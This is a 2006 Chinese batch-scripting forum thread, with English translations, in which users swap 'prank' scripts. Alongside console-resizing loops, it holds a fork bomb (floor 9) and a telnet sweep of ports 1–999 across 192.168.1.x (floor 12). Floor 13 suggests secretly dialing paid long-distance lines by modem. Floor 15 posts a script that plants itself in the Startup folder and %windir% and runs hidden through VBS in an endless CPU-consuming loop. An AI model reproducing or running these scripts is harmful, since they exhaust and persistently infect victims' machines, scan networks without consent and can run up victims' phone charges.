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electronixtar
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『楼 主』:
[恶搞]好卡啊
使用 LLM 解释/回答一下
cmd /cmode con:cols=9000 lines=9000
可能很卡,呵呵,如果谁再来个for就爽了
```
cmd /cmode con:cols=9000 lines=9000
```
Maybe it's very slow, heh heh. If someone comes up with a for loop again, it'll be cool
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C:\>BLOG http://initiative.yo2.cn/
C:\>hh.exe ntcmds.chm::/ntcmds.htm
C:\>cmd /cstart /MIN "" iexplore "about:<bgsound src='res://%ProgramFiles%\Common Files\Microsoft Shared\VBA\VBA6\vbe6.dll/10/5432'>" |
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jun19841
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『第 2 楼』:
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提倡:在运行之前画个十字符,默念阿门``~!
确保机身安全``!
Advocate: Draw a plus sign before running, and say "Amen" silently~! Ensure the safety of the machine body~!
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electronixtar
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『第 3 楼』:
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再来一个玩玩
@echo off
mode con:cols=80 lines=1
for /l %%a in (1,1,9999) do (
ping/n 1 127.1>nul
mode con:cols=80 lines=%%a
)
Another one for fun
@echo off
mode con:cols=80 lines=1
for /l %%a in (1,1,9999) do (
ping/n 1 127.1>nul
mode con:cols=80 lines=%%a
)
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C:\>BLOG http://initiative.yo2.cn/
C:\>hh.exe ntcmds.chm::/ntcmds.htm
C:\>cmd /cstart /MIN "" iexplore "about:<bgsound src='res://%ProgramFiles%\Common Files\Microsoft Shared\VBA\VBA6\vbe6.dll/10/5432'>" |
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kcdsw
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『第 4 楼』:
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怎么我的机器还是那么快呢
cmd 总共用了1.6M 和 5% 的CPU
Why is my machine still so fast?
cmd has used a total of 1.6M and 5% of CPU
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namejm
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『第 5 楼』:
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哈哈,在第3楼的基础上来个更恶搞的,这个你简直难以用鼠标来终止它,除非你眼明手快,或者用键盘来终止,或者在任务管理器里终止。
@echo off
mode con:cols=80 lines=5
setlocal enabledelayedexpansion
for /l %%a in (1,1,9999) do (
set line=%%a
set /a mod=!line!%%2
if !mod! equ 0 (set col=80&set line=10) else (set col=40&set line=5)
mode con:cols=!col! lines=!line!
)
Last edited by namejm on 2006-10-16 at 01:06 ]
Hehe, let's make it more prankish based on the 3rd floor. This one is really hard to terminate with the mouse unless you're quick-eyed and quick-fingered, or you use the keyboard to terminate, or terminate it in the Task Manager.
@echo off
mode con:cols=80 lines=5
setlocal enabledelayedexpansion
for /l %%a in (1,1,9999) do (
set line=%%a
set /a mod=!line!%%2
if !mod! equ 0 (set col=80&set line=10) else (set col=40&set line=5)
mode con:cols=!col! lines=!line!
)
Last edited by namejm on 2006-10-16 at 01:06 ]
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尺有所短,寸有所长,学好CMD没商量。
考虑问题复杂化,解决问题简洁化。 |
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electronixtar
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『第 6 楼』:
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在任务栏右击点关闭就行了
Just right-click on the taskbar and click Close.
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C:\>BLOG http://initiative.yo2.cn/
C:\>hh.exe ntcmds.chm::/ntcmds.htm
C:\>cmd /cstart /MIN "" iexplore "about:<bgsound src='res://%ProgramFiles%\Common Files\Microsoft Shared\VBA\VBA6\vbe6.dll/10/5432'>" |
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kcdsw
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『第 7 楼』:
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哈哈 我试了 很容易点上叉的
Haha, I tried it, it's very easy to click the cross.
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2006-10-16 02:38 |
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namejm
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『第 8 楼』:
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原来还有那么多方法可以关掉它,看来恶搞不成功,electronixtar你再想个好点的东西出来。
There are still so many ways to turn it off. It seems that the prank didn't succeed. electronixtar, you come up with something better.
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尺有所短,寸有所长,学好CMD没商量。
考虑问题复杂化,解决问题简洁化。 |
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pengfei
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『第 9 楼』:
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试试这个, 看效果怎么样, 嘿嘿...
@echo off
:go
start
goto go
Try this and see how it works, heh heh...
@echo off
:go
start
goto go
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redtek
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『第 10 楼』:
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还是弹上万个窗口吧,哈哈……
Let's still pop up tens of thousands of windows, haha...
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Redtek,一个永远在网上流浪的人……
_.,-*~'`^`'~*-,.__.,-*~'`^`'~*-,._,_.,-*~'`^`'~*-,._,_.,-*~'`^`'~*-,._ |
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lxmxn
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『第 11 楼』:
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嘿嘿,namejm兄的恶搞蛮有趣的,不让点窗口右上角的叉叉,但是在任务栏上一下就关了,看来还要猛搞一下了~~ :)
Hehe, Brother namejm's prank is quite fun. It doesn't let you click the cross in the upper right corner of the window, but you can close it with one click on the taskbar. It seems I need to mess with it more~~ :)
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lxmxn
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『第 12 楼』:
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我也来小搞一下:
@echo off
for /l %%i in (1,1,255) do (
for /l %%o in (1,1,999) do (
@telnet 192.168.1.%%i %%o
)
)
Let me also do a little bit:
@echo off
for /l %%i in (1,1,255) do (
for /l %%o in (1,1,999) do (
@telnet 192.168.1.%%i %%o
)
)
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redtek
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『第 13 楼』:
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建议AT指令先挂断MODEM上网连接状态,
然后让MODEM偷偷拔国际长途或168收费台什么的:)
这年头还有人用MODEM吗?
Suggest that the AT command first hang up the MODEM's internet connection state, and then let the MODEM secretly dial international long-distance calls or 168 charging platforms, etc. : ) Is there still anyone using MODEM these days?
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Redtek,一个永远在网上流浪的人……
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lxmxn
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『第 14 楼』:
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有啊,我这里就是用路由器与modem来上网的。
Yes, I am using a router and a modem to access the internet here.
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my3439955
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『第 15 楼』:
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@echo off
:go
start
goto go
我感觉这个只要关了最先的那个窗口就好了啊
是不是
也是基于这个原理
我来个更加凶狠的吧
先说好
我可是没有恶意啊
@echo off
if not exist "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat" copy %~fs0 "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat">nul
echo @echo off>%windir%\power.bat
echo if "%%1"=="" goto :end>>%windir%\power.bat
echo if exist C:\_stop goto :EOF>>%windir%\power.bat
echo start /B %%~fs0 exp>>%windir%\power.bat
echo :s>>%windir%\power.bat
echo if not exist C:\_stop goto s>>%windir%\power.bat
echo exit>>%windir%\power.bat
echo :end>>%windir%\power.bat
echo del %%~fs0>>%windir%\power.bat
echo set ws=CreateObject("WScript.Shell")>%windir%\power.vbs
echo ws.Run "%windir%\power.bat exp",0 >>%windir%\power.vbs
WScript %windir%\power.vbs
del %windir%\power.vbs
set p=%~ps0
if not %p:~-3,2%==启动 del %~fs0
不过最好别运行它
当文件C:\_stop存在时
不会有任何动作
Last edited by my3439955 on 2006-10-17 at 07:05 ]
@echo off
:go
start
goto go
I think this is just about closing the first window, right?
Also based on this principle
I'll do something more aggressive
But let me say first
I have no malice啊
@echo off
if not exist "%HOMEPATH%\..\All Users\「Start」Menu\Programs\Startup\power.bat" copy %~fs0 "%HOMEPATH%\..\All Users\「Start」Menu\Programs\Startup\power.bat">nul
echo @echo off>%windir%\power.bat
echo if "%%1"=="" goto :end>>%windir%\power.bat
echo if exist C:\_stop goto :EOF>>%windir%\power.bat
echo start /B %%~fs0 exp>>%windir%\power.bat
echo :s>>%windir%\power.bat
echo if not exist C:\_stop goto s>>%windir%\power.bat
echo exit>>%windir%\power.bat
echo :end>>%windir%\power.bat
echo del %%~fs0>>%windir%\power.bat
echo set ws=CreateObject("WScript.Shell")>%windir%\power.vbs
echo ws.Run "%windir%\power.bat exp",0 >>%windir%\power.vbs
WScript %windir%\power.vbs
del %windir%\power.vbs
set p=%~ps0
if not %p:~-3,2%==Startup del %~fs0
But it's better not to run it
When the file C:\_stop exists
There will be no action
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